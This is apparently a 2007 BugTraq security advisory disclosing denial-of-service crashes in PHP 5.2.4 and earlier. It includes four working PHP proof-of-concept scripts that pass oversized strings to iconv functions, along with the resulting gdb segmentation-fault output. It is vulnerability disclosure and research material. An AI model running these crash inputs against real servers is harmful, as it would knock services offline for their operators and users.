BugTraq
PHP <= 5.2.4 multiple Iconv functions denial of service Sep 06 2007 12:05AM
laurent gaffie gmail com
Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix
Bug: denial of service
function: iconv(),iconv_strlen(),iconv_mime_decode(),iconv_mime_decode_headers()
special condition: default php-memory-limit
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

multiple Iconv funtions are vulnerable to a denial of service.

=====
3)Proof of concept
=====
/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/

Proof of concept example :

1) iconv()

<?php
$a = str_repeat("/", 4199000);
iconv(1, $a, 1);
?>

(gdb)run 1.php

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1217608000 (LWP 29444)]
0xb76ed3e5 in iconv_close () from /lib/tls/libc.so.6

2) iconv_mime_decode_headers()

<?php
$a = str_repeat("/", 2991370);
iconv_mime_decode_headers(0, 1, $a);
?>

(gdb) run 2.php

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1216760128 (LWP 29475)]
0xb78a69ef in _dl_open () from /lib/tls/libc.so.6

3)iconv_mime_decode()

(gdb) run 3.php

<?php
$a = str_repeat("/", 3799000);
iconv_mime_decode(1, 0, $a);
?>

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1217227072 (LWP 29518)]
0xb78349ef in _dl_open () from /lib/tls/libc.so.6

4)iconv_strlen()

<?php
$a = str_repeat("/", 9791999);
iconv_strlen(1, $a);
?>

(gdb) run 4.php

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1216637248 (LWP 29543)]
0xb77d9d1b in iconv_open () from /lib/tls/libc.so.6

========
4)Greets
========
Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles

=====
5)Credits
=====

Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon ....

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